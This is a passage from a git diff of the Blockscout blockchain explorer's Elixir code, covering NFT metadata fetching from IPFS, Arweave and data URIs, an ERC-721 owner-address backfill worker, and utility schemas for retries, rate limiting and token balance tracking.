link for the given UID. + + ## Examples + + iex> ipfs_link("QmTzQ1N1z5Q1N1z5Q1N1z5Q1N1z5Q1N1z5Q1N1z5", true) + "https://ipfs.io/ipfs/QmTzQ1N1z5Q1N1z5Q1N1z5Q1N1z5Q1N1z5Q1N1z5" + + iex> ipfs_link("QmTzQ1N1z5Q1N1z5Q1N1z5Q1N1z5Q1N1z5Q1N1z5", false) + "https://public_ipfs_gateway.io/QmTzQ1N1z5Q1N1z5Q1N1z5Q1N1z5Q1N1z5Q1N1z5" + """ + @spec ipfs_link(uid :: any(), public_gateway? :: boolean) :: String.t() + def ipfs_link(uid, public_gateway? \\ false) do + key = if public_gateway?, do: :public_gateway_url, else: :gateway_url + + base_url = + :indexer + |> Application.get_env(:ipfs) + |> Keyword.get(key) + |> String.trim_trailing("/") + + url = "#{base_url}/#{uid}" + + url |> maybe_add_ipfs_gateway_params_to_url?(public_gateway?) + end + + @doc """ + Generates an Arweave link for the given UID. + + ## Parameters + - uid: The unique identifier for the resource. + + ## Returns + - A string representing the full URL to the resource on Arweave. + + ## Examples + + iex> arweave_link("some-uid") + "https://arweave.net/some-uid" + + """ + @spec arweave_link(uid :: any()) :: String.t() + def arweave_link(uid) do + "https://arweave.net/#{uid}" + end + + defp maybe_add_ipfs_gateway_params_to_url?(url, true), do: url + + defp maybe_add_ipfs_gateway_params_to_url?(url, _) do + ipfs_params = Application.get_env(:indexer, :ipfs) + + if ipfs_params[:gateway_url_param_location] == :query do + gateway_url_param_key = ipfs_params[:gateway_url_param_key] + gateway_url_param_value = ipfs_params[:gateway_url_param_value] + + if gateway_url_param_key && gateway_url_param_value do + url <> "?#{gateway_url_param_key}=#{gateway_url_param_value}" + else + url + end + else + url + end + end + + defp public_ipfs_link(uid) do + "ipfs://" <> uid + end + + @doc """ + Returns the headers required for making requests to IPFS. + + ## Examples + + iex> Explorer.Token.MetadataRetriever.ipfs_headers() + [ + {"User-Agent", "blockscout-6.9.0"}, + {"Authorization", "Bearer "} + ] + + """ + @spec ipfs_headers() :: [{binary(), binary()}] + def ipfs_headers do + ipfs_params = Application.get_env(:indexer, :ipfs) + + if ipfs_params[:gateway_url_param_location] == :header do + gateway_url_param_key = ipfs_params[:gateway_url_param_key] + gateway_url_param_value = ipfs_params[:gateway_url_param_value] + + if gateway_url_param_key && gateway_url_param_value do + [{gateway_url_param_key, gateway_url_param_value} | @default_headers] + else + @default_headers + end + else + @default_headers + end + end + + @doc """ + Returns the headers for making requests to Arweave. + + ## Examples + + iex> Explorer.Token.MetadataRetriever.ar_headers() + [ + {"User-Agent", "blockscout-6.9.0"} + ] + + """ + @spec ar_headers() :: [{binary(), binary()}] + def ar_headers do + @default_headers + end + + @doc """ + Fetch/parse metadata using smart-contract's response + """ + @spec( + fetch_json(any, integer() | nil, binary() | nil, boolean) :: + {:error, binary} | {:error_code, any} | {:ok, %{metadata: any}}, + {:ok_store_uri, %{metadata: any}, binary()} + ) + def fetch_json(uri, token_id \\ nil, hex_token_id \\ nil, from_base_uri? \\ false) + + def fetch_json({:ok, [""]}, _token_id, _hex_token_id, _from_base_uri?) do + {:error, @no_uri_error} + end + + def fetch_json(uri, token_id, hex_token_id, from_base_uri?) do + fetch_json_from_uri(uri, [ipfs?: false], token_id, hex_token_id, from_base_uri?) + end + + defp fetch_json_from_uri(_uri, _ipfs_params, _token_id, _hex_token_id, _from_base_uri?) + + defp fetch_json_from_uri({:error, error}, _ipfs_params, _token_id, _hex_token_id, _from_base_uri?) do + error = to_string(error) + + if error =~ "execution reverted" or error =~ @vm_execution_error do + {:error, @vm_execution_error} + else + Logger.warning(["Unknown metadata format error #{inspect(error)}."], fetcher: :token_instances) + + # truncate error since it will be stored in DB + {:error, truncate_error(error)} + end + end + + defp fetch_json_from_uri({:ok, ["'" <> token_uri]}, ipfs_params, token_id, hex_token_id, from_base_uri?) do + token_uri = token_uri |> String.split("'") |> List.first() + fetch_metadata_inner(token_uri, ipfs_params, token_id, hex_token_id, from_base_uri?) + end + + defp fetch_json_from_uri( + {:ok, [type = "data:application/json;utf8," <> json]}, + ipfs_params, + token_id, + hex_token_id, + from_base_uri? + ) do + fetch_json_from_json_string(json, ipfs_params, token_id, hex_token_id, from_base_uri?, type) + end + + defp fetch_json_from_uri( + {:ok, [type = "data:application/json," <> json]}, + ipfs_params, + token_id, + hex_token_id, + from_base_uri? + ) do + fetch_json_from_json_string(json, ipfs_params, token_id, hex_token_id, from_base_uri?, type) + end + + defp fetch_json_from_uri( + {:ok, ["data:application/json;base64," <> base64_encoded_json]}, + ipfs_params, + token_id, + hex_token_id, + from_base_uri? + ) do + case Base.decode64(base64_encoded_json) do + {:ok, base64_decoded} -> + fetch_json_from_uri({:ok, [base64_decoded]}, ipfs_params, token_id, hex_token_id, from_base_uri?) + + _ -> + {:error, @invalid_base64_data} + end + rescue + e -> + Logger.warning( + [ + "Unknown metadata format base64 #{inspect(base64_encoded_json)}.", + Exception.format(:error, e, __STACKTRACE__) + ], + fetcher: :token_instances + ) + + {:error, @invalid_base64_data} + end + + defp fetch_json_from_uri({:ok, [token_uri_string]}, ipfs_params, token_id, hex_token_id, from_base_uri?) do + fetch_from_ipfs_or_ar?(token_uri_string, ipfs_params, token_id, hex_token_id, from_base_uri?) + end + + defp fetch_json_from_uri(uri, _ipfs_params, _token_id, _hex_token_id, _from_base_uri?) do + Logger.warning(["Unknown metadata uri format #{inspect(uri)}."], fetcher: :token_instances) + + {:error, "unknown metadata uri format"} + end + + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + defp fetch_from_ipfs_or_ar?(token_uri_string, ipfs_params, token_id, hex_token_id, from_base_uri?) do + case URI.parse(token_uri_string) do + %URI{scheme: "ipfs", host: host, path: path} -> + resource_id = + if host == "ipfs" do + "/" <> resource_id = path + resource_id + else + # credo:disable-for-next-line + if is_nil(path), do: host, else: host <> path + end + + fetch_from_ipfs(resource_id, hex_token_id) + + %URI{scheme: "ar", host: _host, path: resource_id} -> + fetch_from_arweave(resource_id, hex_token_id) + + %URI{scheme: _, path: "/ipfs/" <> resource_id} -> + fetch_from_ipfs(resource_id, hex_token_id) + + %URI{scheme: _, path: "ipfs/" <> resource_id} -> + fetch_from_ipfs(resource_id, hex_token_id) + + %URI{scheme: scheme} when not is_nil(scheme) -> + fetch_metadata_inner(token_uri_string, ipfs_params, token_id, hex_token_id, from_base_uri?) + + %URI{path: path} -> + case path do + "Qm" <> <<_::binary-size(44)>> = resource_id -> + fetch_from_ipfs(resource_id, hex_token_id) + + # todo: rewrite for strict CID v1 support + "bafybe" <> _ = resource_id -> + fetch_from_ipfs(resource_id, hex_token_id) + + _ -> + json = ExplorerHelper.decode_json(token_uri_string, true) + + check_type(json, hex_token_id) + end + end + rescue + e -> + Logger.warning( + ["Unknown metadata format #{inspect(token_uri_string)}.", Exception.format(:error, e, __STACKTRACE__)], + fetcher: :token_instances + ) + + {:error, "invalid token_uri_string"} + end + + defp fetch_json_from_json_string(json, ipfs_params, token_id, hex_token_id, from_base_uri?, type) do + decoded_json = URI.decode(json) + + fetch_json_from_uri({:ok, [decoded_json]}, ipfs_params, token_id, hex_token_id, from_base_uri?) + rescue + e -> + Logger.warning(["Unknown metadata format #{inspect(json)}.", Exception.format(:error, e, __STACKTRACE__)], + fetcher: :token_instances + ) + + {:error, "invalid #{type}"} + end + + defp fetch_from_ipfs(ipfs_uid, hex_token_id) do + ipfs_url = ipfs_link(ipfs_uid) + public_ipfs_url = public_ipfs_link(ipfs_uid) + + ipfs_params = [ipfs?: true, public_ipfs_url: public_ipfs_url] + + fetch_metadata_inner(ipfs_url, ipfs_params, nil, hex_token_id) + end + + defp fetch_from_arweave(uid, hex_token_id) do + arweave_url = arweave_link(uid) + + ipfs_params = [ipfs?: false, arweave?: true] + fetch_metadata_inner(arweave_url, ipfs_params, nil, hex_token_id) + end + + defp fetch_metadata_inner(uri, ipfs_params, token_id, hex_token_id, from_base_uri? \\ false) + + defp fetch_metadata_inner(uri, ipfs_params, token_id, hex_token_id, from_base_uri?) do + prepared_uri = substitute_token_id_to_token_uri(uri, token_id, hex_token_id, from_base_uri?) + fetch_metadata_from_uri(prepared_uri, ipfs_params, hex_token_id) + rescue + e -> + Logger.warning( + ["Could not prepare token uri #{inspect(uri)}.", Exception.format(:error, e, __STACKTRACE__)], + fetcher: :token_instances + ) + + {:error, "preparation error"} + end + + @doc """ + Fetches metadata from a given URI. + + ## Parameters + + - `uri` (String): The URI from which to fetch metadata. + - `ipfs_params` (keyword): Params for cases when metadata should be fetched from IPFS. Example: [ipfs?: true, public_ipfs_url: "https://ipfs.io/ipfs/{id}"] + - `hex_token_id` (String, optional): A hexadecimal token ID, defaults to `nil`. + + ## Returns + + - `{:ok, metadata}` on success. + - `{:error, reason}` on failure. + + ## Examples + + iex> fetch_metadata_from_uri("http://example.com/metadata", [ipfs?: false]) + {:ok, %{"name" => "Example Token", "description" => "An example token"}} + + iex> fetch_metadata_from_uri("http://localhost/metadata", [ipfs?: false]) + {:error, :blacklist} + + """ + @spec fetch_metadata_from_uri(String.t(), keyword(), String.t() | nil) :: {:ok, %{metadata: any}} | {:error, binary()} + def fetch_metadata_from_uri(uri, ipfs_params, hex_token_id \\ nil) do + case Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Helper)[:host_filtering_enabled?] && + !ipfs?(ipfs_params) && !arweave?(ipfs_params) && MetadataURIValidator.validate_uri(uri) do + {:error, reason} -> + if reason == :blacklist do + Logger.warning( + [ + "Request to token uri failed: #{inspect(uri)}.", + "Host is blacklisted.", + "To disable IPs blacklisting set INDEXER_TOKEN_INSTANCE_HOST_FILTERING_ENABLED=false" + ], + fetcher: :token_instances + ) + end + + {:error, reason |> to_string() |> truncate_error()} + + _ -> + fetch_metadata_from_uri_request(uri, hex_token_id, ipfs_params) + end + end + + defp fetch_metadata_from_uri_request(uri, hex_token_id, ipfs_params) do + headers = if ipfs?(ipfs_params), do: ipfs_headers(), else: @default_headers + + case HttpClient.get(uri, headers, + recv_timeout: 30_000, + follow_redirect: true, + pool: :token_instance_fetcher + ) do + {:ok, %{body: body, status_code: 200, headers: response_headers}} -> + content_type = get_content_type_from_headers(response_headers) + + case check_content_type(content_type, uri, hex_token_id, body, ipfs_params) do + {:ok, metadata} -> + process_result(metadata, uri, ipfs_params) + + {:error, reason} -> + {:error, reason} + end + + {:ok, %{body: body, status_code: code}} -> + Logger.debug( + ["Request to token uri: #{inspect(uri)} failed with code #{code}. Body:", inspect(body)], + fetcher: :token_instances + ) + + {:error_code, code} + + {:error, reason} -> + Logger.warning( + ["Request to token uri failed: #{inspect(uri)}.", inspect(reason)], + fetcher: :token_instances + ) + + {:error, reason |> inspect() |> truncate_error()} + end + rescue + e -> + Logger.warning( + ["Could not send request to token uri #{inspect(uri)}.", Exception.format(:error, e, __STACKTRACE__)], + fetcher: :token_instances + ) + + {:error, "request error"} + end + + defp process_result(metadata, uri, ipfs_params) do + if arweave?(ipfs_params) || ipfs?(ipfs_params) do + {:ok, metadata} + else + {:ok_store_uri, metadata, uri} + end + end + + defp ipfs?(ipfs_params) do + Keyword.get(ipfs_params, :ipfs?) + end + + defp arweave?(ipfs_params) do + Keyword.get(ipfs_params, :arweave?) + end + + defp check_content_type(content_type, uri, hex_token_id, body, ipfs_params) do + image = image?(content_type) + video = video?(content_type) + public_ipfs_url = Keyword.get(ipfs_params, :public_ipfs_url) + + if content_type && (image || video) do + json = if image, do: %{"image" => public_ipfs_url || uri}, else: %{"animation_url" => public_ipfs_url || uri} + + check_type(json, nil) + else + json = ExplorerHelper.decode_json(body, true) + + check_type(json, hex_token_id) + end + end + + defp get_content_type_from_headers(headers) do + {_, content_type} = + Enum.find(headers, fn {header_name, _header_value} -> + String.downcase(header_name) == "content-type" + end) || {nil, nil} + + content_type + end + + defp image?(content_type) do + content_type && String.starts_with?(content_type, "image/") + end + + defp video?(content_type) do + content_type && String.starts_with?(content_type, "video/") + end + + defp check_type(json, nil) when is_map(json) do + {:ok, %{metadata: json}} + end + + defp check_type(json, hex_token_id) when is_map(json) do + metadata = + case json + |> Jason.encode!() + |> String.replace(@erc1155_token_id_placeholder, hex_token_id) + |> Jason.decode() do + {:ok, map} -> + map + + _ -> + json + end + + {:ok, %{metadata: metadata}} + end + + defp check_type(_, _) do + {:error, "wrong metadata type"} + end + + defp substitute_token_id_to_token_uri(base_uri, nil, _empty_token_id, true) do + base_uri + end + + defp substitute_token_id_to_token_uri(base_uri, token_id, _empty_token_id, true) do + if String.ends_with?(base_uri, "/") do + base_uri <> to_string(token_id) + else + base_uri <> "/" <> to_string(token_id) + end + end + + defp substitute_token_id_to_token_uri(token_uri, _token_id, empty_token_id, _from_base_uri?) + when empty_token_id in [nil, ""], + do: token_uri + + defp substitute_token_id_to_token_uri(token_uri, _token_id, hex_token_id, _from_base_uri?) do + String.replace(token_uri, @erc1155_token_id_placeholder, hex_token_id) + end + + @doc """ + Truncate error string to @max_error_length symbols + """ + @spec truncate_error(binary()) :: binary() + def truncate_error(error) do + if String.length(error) > @max_error_length - 2 do + String.slice(error, 0, @max_error_length - 3) <> "..." + else + error + end + end end diff --git a/apps/explorer/lib/explorer/token_instance_owner_address_migration/helper.ex b/apps/explorer/lib/explorer/token_instance_owner_address_migration/helper.ex new file mode 100644 index 000000000000..0f55492d61b1 --- /dev/null +++ b/apps/explorer/lib/explorer/token_instance_owner_address_migration/helper.ex @@ -0,0 +1,93 @@ +defmodule Explorer.TokenInstanceOwnerAddressMigration.Helper do + @moduledoc """ + Auxiliary functions for TokenInstanceOwnerAddressMigration.{Worker and Supervisor} + """ + import Ecto.Query, + only: [ + from: 2 + ] + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Token.Instance + alias Explorer.Chain.{SmartContract, TokenTransfer} + + require Logger + + {:ok, burn_address_hash} = Chain.string_to_address_hash(SmartContract.burn_address_hash_string()) + @burn_address_hash burn_address_hash + + @spec filtered_token_instances_query(non_neg_integer()) :: Ecto.Query.t() + def filtered_token_instances_query(limit) do + from(instance in Instance, + where: is_nil(instance.owner_address_hash), + inner_join: token in assoc(instance, :token), + where: token.type == "ERC-721", + limit: ^limit, + select: %{token_id: instance.token_id, token_contract_address_hash: instance.token_contract_address_hash} + ) + end + + @spec fetch_and_insert([map]) :: + {:error, :timeout | [map]} + | {:ok, + %{ + :token_instances => [Instance.t()] + }} + | {:error, any, any, map} + def fetch_and_insert(batch) do + changes = + batch + |> Enum.map(&process_instance/1) + |> Enum.reject(&is_nil/1) + + Chain.import(%{token_instances: %{params: changes}}) + end + + defp process_instance(%{token_id: token_id, token_contract_address_hash: token_contract_address_hash}) do + token_transfer_query = + from(tt in TokenTransfer.only_consensus_transfers_query(), + where: + tt.token_contract_address_hash == ^token_contract_address_hash and + fragment("? @> ARRAY[?::decimal]", tt.token_ids, ^token_id), + order_by: [desc: tt.block_number, desc: tt.log_index], + limit: 1, + select: %{ + token_contract_address_hash: tt.token_contract_address_hash, + token_ids: tt.token_ids, + to_address_hash: tt.to_address_hash, + block_number: tt.block_number, + log_index: tt.log_index + } + ) + + token_transfer = + Repo.one(token_transfer_query, timeout: :timer.minutes(5)) || + %{to_address_hash: @burn_address_hash, block_number: -1, log_index: -1} + + %{ + token_contract_address_hash: token_contract_address_hash, + token_id: token_id, + token_type: "ERC-721", + owner_address_hash: token_transfer.to_address_hash, + owner_updated_at_block: token_transfer.block_number, + owner_updated_at_log_index: token_transfer.log_index + } + rescue + exception in DBConnection.ConnectionError -> + Logger.warning(fn -> + [ + "Error deriving owner address hash for {#{to_string(token_contract_address_hash)}, #{to_string(token_id)}}: ", + Exception.format(:error, exception, __STACKTRACE__) + ] + end) + + nil + end + + @spec unfilled_token_instances_exists? :: boolean + def unfilled_token_instances_exists? do + 1 + |> filtered_token_instances_query() + |> Repo.exists?() + end +end diff --git a/apps/explorer/lib/explorer/token_instance_owner_address_migration/supervisor.ex b/apps/explorer/lib/explorer/token_instance_owner_address_migration/supervisor.ex new file mode 100644 index 000000000000..01ca324f5f2d --- /dev/null +++ b/apps/explorer/lib/explorer/token_instance_owner_address_migration/supervisor.ex @@ -0,0 +1,28 @@ +defmodule Explorer.TokenInstanceOwnerAddressMigration.Supervisor do + @moduledoc """ + Supervisor for Explorer.TokenInstanceOwnerAddressMigration.Worker + """ + + use Supervisor + + alias Explorer.TokenInstanceOwnerAddressMigration.Worker + + def start_link(init_arg) do + Supervisor.start_link(__MODULE__, init_arg, name: __MODULE__) + end + + @impl true + def init(_init_arg) do + params = Application.get_env(:explorer, Explorer.TokenInstanceOwnerAddressMigration) + + if params[:enabled] do + children = [ + {Worker, params} + ] + + Supervisor.init(children, strategy: :one_for_one) + else + :ignore + end + end +end diff --git a/apps/explorer/lib/explorer/token_instance_owner_address_migration/worker.ex b/apps/explorer/lib/explorer/token_instance_owner_address_migration/worker.ex new file mode 100644 index 000000000000..c9cfabc9d2ca --- /dev/null +++ b/apps/explorer/lib/explorer/token_instance_owner_address_migration/worker.ex @@ -0,0 +1,51 @@ +defmodule Explorer.TokenInstanceOwnerAddressMigration.Worker do + @moduledoc """ + GenServer for filling owner_address_hash, owner_updated_at_block and owner_updated_at_log_index + for ERC-721 token instances. Works in the following way + 1. Checks if there are some unprocessed nfts. + - if yes, then go to 2 stage + - if no, then shutdown + 2. Fetch `(concurrency * batch_size)` token instances, process them in `concurrency` tasks. + 3. Go to step 1 + """ + + use GenServer, restart: :transient + + alias Explorer.Repo + alias Explorer.TokenInstanceOwnerAddressMigration.Helper + + def start_link(concurrency: concurrency, batch_size: batch_size, enabled: _) do + GenServer.start_link(__MODULE__, %{concurrency: concurrency, batch_size: batch_size}, name: __MODULE__) + end + + @impl true + def init(opts) do + GenServer.cast(__MODULE__, :check_necessity) + + {:ok, opts} + end + + @impl true + def handle_cast(:check_necessity, state) do + if Helper.unfilled_token_instances_exists?() do + GenServer.cast(__MODULE__, :backfill) + {:noreply, state} + else + {:stop, :normal, state} + end + end + + @impl true + def handle_cast(:backfill, %{concurrency: concurrency, batch_size: batch_size} = state) do + (concurrency * batch_size) + |> Helper.filtered_token_instances_query() + |> Repo.all() + |> Enum.chunk_every(batch_size) + |> Enum.map(fn batch -> Task.async(fn -> Helper.fetch_and_insert(batch) end) end) + |> Task.await_many(:infinity) + + GenServer.cast(__MODULE__, :check_necessity) + + {:noreply, state} + end +end diff --git a/apps/explorer/lib/explorer/tuple_encoder.ex b/apps/explorer/lib/explorer/tuple_encoder.ex new file mode 100644 index 000000000000..5e3dd685d24c --- /dev/null +++ b/apps/explorer/lib/explorer/tuple_encoder.ex @@ -0,0 +1,14 @@ +defmodule TupleEncoder do + @moduledoc """ + Implementation of Jason.Encoder for Tuple + """ + alias Jason.{Encode, Encoder} + + defimpl Encoder, for: Tuple do + def encode(value, opts) when is_tuple(value) do + value + |> Tuple.to_list() + |> Encode.list(opts) + end + end +end diff --git a/apps/explorer/lib/explorer/utility/address_contract_code_fetch_attempt.ex b/apps/explorer/lib/explorer/utility/address_contract_code_fetch_attempt.ex new file mode 100644 index 000000000000..167584ab3584 --- /dev/null +++ b/apps/explorer/lib/explorer/utility/address_contract_code_fetch_attempt.ex @@ -0,0 +1,94 @@ +defmodule Explorer.Utility.AddressContractCodeFetchAttempt do + @moduledoc """ + Module is responsible for keeping the number of retries for + Indexer.Fetcher.OnDemand.ContractCode. + """ + + use Explorer.Schema + + alias Explorer.Chain.Hash + alias Explorer.Repo + + @primary_key false + typed_schema "address_contract_code_fetch_attempts" do + field(:address_hash, Hash.Address, primary_key: true) + field(:retries_number, :integer, primary_key: false) + + timestamps() + end + + @doc false + def changeset(address_contract_code_fetch_attempt \\ %__MODULE__{}, params) do + cast(address_contract_code_fetch_attempt, params, [:hash, :retries_number]) + end + + @doc """ + Retrieves the number of retries and the last update timestamp for a given address. + + ## Parameters + - `address_hash`: The address to query. + + ## Returns + - `{retries_number, updated_at}`: A tuple containing the number of retries and + the last update timestamp. + - `nil`: If no record is found for the given address. + """ + @spec get_retries_number(Hash.Address.t()) :: {non_neg_integer(), DateTime.t()} | nil + def get_retries_number(address_hash) do + __MODULE__ + |> where([address_contract_code_fetch_attempt], address_contract_code_fetch_attempt.address_hash == ^address_hash) + |> select( + [address_contract_code_fetch_attempt], + {address_contract_code_fetch_attempt.retries_number, address_contract_code_fetch_attempt.updated_at} + ) + |> Repo.one() + end + + @doc """ + Deletes the entry from the `address_contract_code_fetch_attempts` table that corresponds to the provided address hash. + + ## Parameters + - `address_hash`: The `t:Explorer.Chain.Hash.Address.t/0` of the address + whose fetch attempt record should be deleted. + + ## Returns + A tuple `{count, nil}`, where `count` is the number of records deleted + (typically 1 if the record existed, 0 otherwise). + """ + @spec delete(Hash.Address.t()) :: {non_neg_integer(), nil} + def delete(address_hash) do + __MODULE__ + |> where([address_contract_code_fetch_attempt], address_contract_code_fetch_attempt.address_hash == ^address_hash) + |> Repo.delete_all() + end + + @doc """ + Inserts the number of retries for fetching contract code for a given address. + + ## Parameters + - `address_hash` - The hash of the address for which the retries number is to be inserted. + + ## Returns + The result of the insertion operation. + """ + @spec insert_retries_number(Hash.Address.t()) :: {non_neg_integer(), nil | [term()]} + def insert_retries_number(address_hash) do + now = DateTime.utc_now() + params = [%{address_hash: address_hash, inserted_at: now, updated_at: now, retries_number: 1}] + + Repo.insert_all(__MODULE__, params, on_conflict: default_on_conflict(), conflict_target: :address_hash) + end + + defp default_on_conflict do + from( + address_contract_code_fetch_attempt in __MODULE__, + update: [ + set: [ + retries_number: fragment("? + 1", address_contract_code_fetch_attempt.retries_number), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", address_contract_code_fetch_attempt.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", address_contract_code_fetch_attempt.updated_at) + ] + ] + ) + end +end diff --git a/apps/explorer/lib/explorer/utility/event_notification.ex b/apps/explorer/lib/explorer/utility/event_notification.ex index 8ae9dd0a2f5f..21a2ba644211 100644 --- a/apps/explorer/lib/explorer/utility/event_notification.ex +++ b/apps/explorer/lib/explorer/utility/event_notification.ex @@ -5,8 +5,10 @@ defmodule Explorer.Utility.EventNotification do use Explorer.Schema - schema "event_notifications" do + typed_schema "event_notifications" do field(:data, :string) + + timestamps() end @doc false diff --git a/apps/explorer/lib/explorer/utility/hammer.ex b/apps/explorer/lib/explorer/utility/hammer.ex new file mode 100644 index 000000000000..9cb44367f7ee --- /dev/null +++ b/apps/explorer/lib/explorer/utility/hammer.ex @@ -0,0 +1,41 @@ +defmodule Explorer.Utility.Hammer.ETS do + @moduledoc false + use Hammer, backend: Hammer.ETS +end + +defmodule Explorer.Utility.Hammer.Redis do + @moduledoc false + use Hammer, backend: Hammer.Redis +end + +defmodule Explorer.Utility.Hammer do + @moduledoc """ + Wrapper for the rate limit functions. Defines union of all functions from `Explorer.Utility.Hammer.ETS` and `Explorer.Utility.Hammer.Redis`. Resolves the backend to use based on `Application.get_env(:explorer, Explorer.Utility.RateLimiter)[:hammer_backend_module]` in runtime. + """ + alias Explorer.Utility.Hammer.{ETS, Redis} + + functions = + (ETS.__info__(:functions) ++ Redis.__info__(:functions)) + |> Enum.uniq() + + for {name, arity} <- functions do + args = Macro.generate_arguments(arity, nil) + + def unquote(name)(unquote_splicing(args)) do + apply( + Application.get_env(:explorer, Explorer.Utility.RateLimiter)[:hammer_backend_module], + unquote(name), + unquote(args) + ) + end + end + + def child_for_supervisor do + config = Application.get_env(:explorer, Explorer.Utility.RateLimiter) + + case config[:storage] do + :redis -> {Explorer.Utility.Hammer.Redis, [url: config[:redis_url]]} + :ets -> {Explorer.Utility.Hammer.ETS, []} + end + end +end diff --git a/apps/explorer/lib/explorer/utility/massive_block.ex b/apps/explorer/lib/explorer/utility/massive_block.ex new file mode 100644 index 000000000000..9aa710480396 --- /dev/null +++ b/apps/explorer/lib/explorer/utility/massive_block.ex @@ -0,0 +1,42 @@ +defmodule Explorer.Utility.MassiveBlock do + @moduledoc """ + Module is responsible for keeping the block numbers that are too large for regular import + and need more time to complete. + """ + + use Explorer.Schema + + alias Explorer.Repo + + @primary_key false + typed_schema "massive_blocks" do + field(:number, :integer, primary_key: true) + + timestamps() + end + + @doc false + def changeset(massive_block \\ %__MODULE__{}, params) do + cast(massive_block, params, [:number]) + end + + def get_last_block_number(except_numbers) do + __MODULE__ + |> where([mb], mb.number not in ^except_numbers) + |> select([mb], max(mb.number)) + |> Repo.one() + end + + def insert_block_numbers(numbers) do + now = DateTime.utc_now() + params = Enum.map(numbers, &%{number: &1, inserted_at: now, updated_at: now}) + + Repo.insert_all(__MODULE__, params, on_conflict: {:replace, [:updated_at]}, conflict_target: :number) + end + + def delete_block_number(number) do + __MODULE__ + |> where([mb], mb.number == ^number) + |> Repo.delete_all() + end +end diff --git a/apps/explorer/lib/explorer/utility/microservice.ex b/apps/explorer/lib/explorer/utility/microservice.ex new file mode 100644 index 000000000000..d839d1940912 --- /dev/null +++ b/apps/explorer/lib/explorer/utility/microservice.ex @@ -0,0 +1,53 @@ +defmodule Explorer.Utility.Microservice do + @moduledoc """ + Module is responsible for common utils related to microservices. + """ + + alias Explorer.Helper + + @doc """ + Returns base url of the microservice or nil if it is invalid or not set + """ + @spec base_url(atom(), atom()) :: false | nil | binary() + def base_url(application \\ :explorer, module) do + url = Application.get_env(application, module)[:service_url] + + cond do + not Helper.valid_url?(url) -> + nil + + String.ends_with?(url, "/") -> + url + |> String.slice(0..(String.length(url) - 2)) + + true -> + url + end + end + + @doc """ + Returns :ok if Application.get_env(:explorer, module)[:enabled] is true (module is enabled) + """ + @spec check_enabled(atom(), atom()) :: :ok | {:error, :disabled} + def check_enabled(application \\ :explorer, module) do + if Application.get_env(application, module)[:enabled] && base_url(application, module) do + :ok + else + {:error, :disabled} + end + end + + @doc """ + Retrieves the API key for the microservice. + + ## Examples + + iex> Explorer.Utility.Microservice.api_key() + "your_api_key_here" + + """ + @spec api_key(atom(), atom()) :: String.t() | nil + def api_key(application \\ :explorer, module) do + Application.get_env(application, module)[:api_key] + end +end diff --git a/apps/explorer/lib/explorer/utility/missing_balance_of_token.ex b/apps/explorer/lib/explorer/utility/missing_balance_of_token.ex new file mode 100644 index 000000000000..71dda35b708f --- /dev/null +++ b/apps/explorer/lib/explorer/utility/missing_balance_of_token.ex @@ -0,0 +1,127 @@ +defmodule Explorer.Utility.MissingBalanceOfToken do + @moduledoc """ + Module is responsible for keeping address hashes of tokens that does not support the balanceOf function + and the maximum block number for which this function call returned an error. + """ + + use Explorer.Schema + + alias Explorer.Chain.{Hash, Token} + alias Explorer.Repo + + @primary_key false + typed_schema "missing_balance_of_tokens" do + field(:block_number, :integer) + field(:currently_implemented, :boolean) + + belongs_to( + :token, + Token, + foreign_key: :token_contract_address_hash, + references: :contract_address_hash, + primary_key: true, + type: Hash.Address, + null: false + ) + + timestamps() + end + + @doc false + def changeset(missing_balance_of_token \\ %__MODULE__{}, params) do + cast(missing_balance_of_token, params, [:token_contract_address_hash, :block_number, :currently_implemented]) + end + + @doc """ + Returns all records by provided token contract address hashes + """ + @spec get_by_hashes([Hash.Address.t()]) :: [%__MODULE__{}] + def get_by_hashes(token_contract_address_hashes) do + __MODULE__ + |> where([mbot], mbot.token_contract_address_hash in ^token_contract_address_hashes) + |> Repo.all() + end + + @doc """ + Set currently_implemented: true for all provided token contract address hashes + """ + @spec mark_as_implemented([Hash.Address.t()]) :: {non_neg_integer(), nil | [term()]} + def mark_as_implemented([]), do: :ok + + def mark_as_implemented(token_contract_address_hashes) do + __MODULE__ + |> where([mbot], mbot.token_contract_address_hash in ^token_contract_address_hashes) + |> Repo.update_all(set: [currently_implemented: true]) + end + + @doc """ + Filters provided token balances params by presence of record with the same `token_contract_address_hash` + and above or equal `block_number` in `missing_balance_of_tokens`. + """ + @spec filter_token_balances_params([map()], boolean(), [__MODULE__.t()] | nil) :: [map()] + def filter_token_balances_params(params, use_window?, missing_balance_of_tokens \\ nil) do + existing_missing_balance_of_tokens = missing_balance_of_tokens || fetch_from_params(params) + + missing_balance_of_tokens_map = + existing_missing_balance_of_tokens + |> Enum.map( + &{to_string(&1.token_contract_address_hash), + %{block_number: &1.block_number, currently_implemented: &1.currently_implemented}} + ) + |> Map.new() + + Enum.filter(params, fn %{token_contract_address_hash: token_contract_address_hash, block_number: block_number} -> + case missing_balance_of_tokens_map[to_string(token_contract_address_hash)] do + nil -> true + %{block_number: bn, currently_implemented: true} -> block_number > bn + %{block_number: bn} when not use_window? -> block_number > bn + %{block_number: bn} -> block_number > bn + missing_balance_of_window() + end + end) + end + + @doc """ + Inserts new `missing_balance_of_tokens` records by provided params (except for `ERC-404` token type) + """ + @spec insert_from_params([map()]) :: {non_neg_integer(), nil | [term()]} + def insert_from_params(token_balance_params) do + now = DateTime.utc_now() + + params = + token_balance_params + |> Enum.reject(&(&1.token_type == "ERC-404")) + |> Enum.group_by(& &1.token_contract_address_hash, & &1.block_number) + |> Enum.map(fn {token_contract_address_hash, block_numbers} -> + {:ok, token_contract_address_hash_casted} = Hash.Address.cast(token_contract_address_hash) + + %{ + token_contract_address_hash: token_contract_address_hash_casted, + block_number: Enum.max(block_numbers), + inserted_at: now, + updated_at: now + } + end) + + Repo.insert_all(__MODULE__, params, on_conflict: on_conflict(), conflict_target: :token_contract_address_hash) + end + + defp fetch_from_params(params) do + params + |> Enum.map(& &1.token_contract_address_hash) + |> get_by_hashes() + end + + defp missing_balance_of_window, do: Application.get_env(:explorer, __MODULE__)[:window_size] + + defp on_conflict do + from( + mbot in __MODULE__, + update: [ + set: [ + block_number: fragment("GREATEST(EXCLUDED.block_number, ?)", mbot.block_number), + updated_at: fragment("EXCLUDED.updated_at") + ] + ] + ) + end +end diff --git 